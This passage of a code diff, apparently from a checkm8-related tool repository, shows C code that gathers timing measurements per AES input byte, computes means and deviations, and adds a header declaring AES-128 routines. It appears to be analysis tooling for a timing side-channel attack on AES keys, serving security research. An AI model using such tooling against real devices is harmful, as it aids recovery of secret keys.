for(i = 0; i < 16; i++)
|
||||
{
|
||||
fread(key_sched, 1, 2, keyfile);
|
||||
key_sched[2] = 0;
|
||||
key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
|
||||
}
|
||||
|
||||
fclose(keyfile);
|
||||
|
||||
c = get_constants();
|
||||
expand_key(key, key_sched, 11, c);
|
||||
|
||||
for(i = 0; i < 46; i++)
|
||||
{
|
||||
num = 0;
|
||||
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], i);
|
||||
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], i);
|
||||
|
||||
msgfile = fopen(msg_name, "rb");
|
||||
if(msgfile == NULL)
|
||||
{
|
||||
printf("failed to open msgfile %s\n", msg_name);
|
||||
return -1;
|
||||
}
|
||||
|
||||
timefile = fopen(timing_name, "rb");
|
||||
if(timefile == NULL)
|
||||
{
|
||||
printf("failed to open timing file %s\n", timing_name);
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("file %i\n", i);
|
||||
|
||||
for(j = 0; j < 375; j++)
|
||||
{
|
||||
fread(msg, 16, 1, msgfile);
|
||||
fread(&timing, 1, 1, timefile);
|
||||
|
||||
printf("%i\t", num++);
|
||||
for(k = 0; k < 16; k++)
|
||||
printf("%02X", msg[k]);
|
||||
|
||||
for(k = 0; k < 1024 * 256; k++)
|
||||
{
|
||||
for(l = 0; l < 16; l++)
|
||||
{
|
||||
t[l][msg[l]] += timing;
|
||||
tsq[l][msg[l]] += (timing * timing);
|
||||
tnum[l][msg[l]] += 1;
|
||||
|
||||
count++;
|
||||
ttotal += timing;
|
||||
}
|
||||
|
||||
fread(&timing, 1, 1, timefile);
|
||||
aes128_encrypt_ecb(msg, 16, key_sched, c);
|
||||
}
|
||||
|
||||
printf(" -> ");
|
||||
for(k = 0; k < 16; k++)
|
||||
printf("%02X", msg[k]);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
fclose(msgfile);
|
||||
fclose(timefile);
|
||||
}
|
||||
|
||||
taverage = ttotal / (double) count;
|
||||
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
for(b = 0; b < 256; b++)
|
||||
{
|
||||
u[j][b] = t[j][b] / tnum[j][b];
|
||||
udev[j][b] = tsq[j][b] / tnum[j][b];
|
||||
udev[j][b] -= u[j][b] * u[j][b];
|
||||
udev[j][b] = sqrt(udev[j][b]);
|
||||
}
|
||||
}
|
||||
|
||||
sprintf(linebuf, "dat_%lli.dat", count / 16 / 100000);
|
||||
outfile = fopen(linebuf, "w+");
|
||||
if(outfile == NULL)
|
||||
{
|
||||
printf("failed to open data file\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
for(b = 0; b < 256; b++)
|
||||
{
|
||||
sprintf(linebuf,
|
||||
"%2d %3d %lli %f %f %f %f\n",
|
||||
j, b, (long long) tnum[j][b],
|
||||
u[j][b], udev[j][b],
|
||||
u[j][b] - taverage, udev[j][b] / sqrt(tnum[j][b]));
|
||||
fputs(linebuf, outfile);
|
||||
}
|
||||
}
|
||||
|
||||
fclose(outfile);
|
||||
}
|
||||
20
tools/include/host_crypto.h
Normal file
20
tools/include/host_crypto.h
Normal file
@@ -0,0 +1,20 @@
|
||||
#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
#define CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
|
||||
struct aes_constants
|
||||
{
|
||||
unsigned char sbox[16][16];
|
||||
unsigned char rc_lookup[11];
|
||||
unsigned char mul2[256];
|
||||
unsigned char mul3[256];
|
||||
} __attribute__ ((packed));
|
||||
|
||||
void expand_key(unsigned char key[16], unsigned char key_sched[176],
|
||||
int n, struct aes_constants *c);
|
||||
|
||||
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
|
||||
unsigned char key_sched[176], struct aes_constants *c);
|
||||
|
||||
struct aes_constants *get_constants();
|
||||
|
||||
#endif //CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
Reference in New Issue
Block a user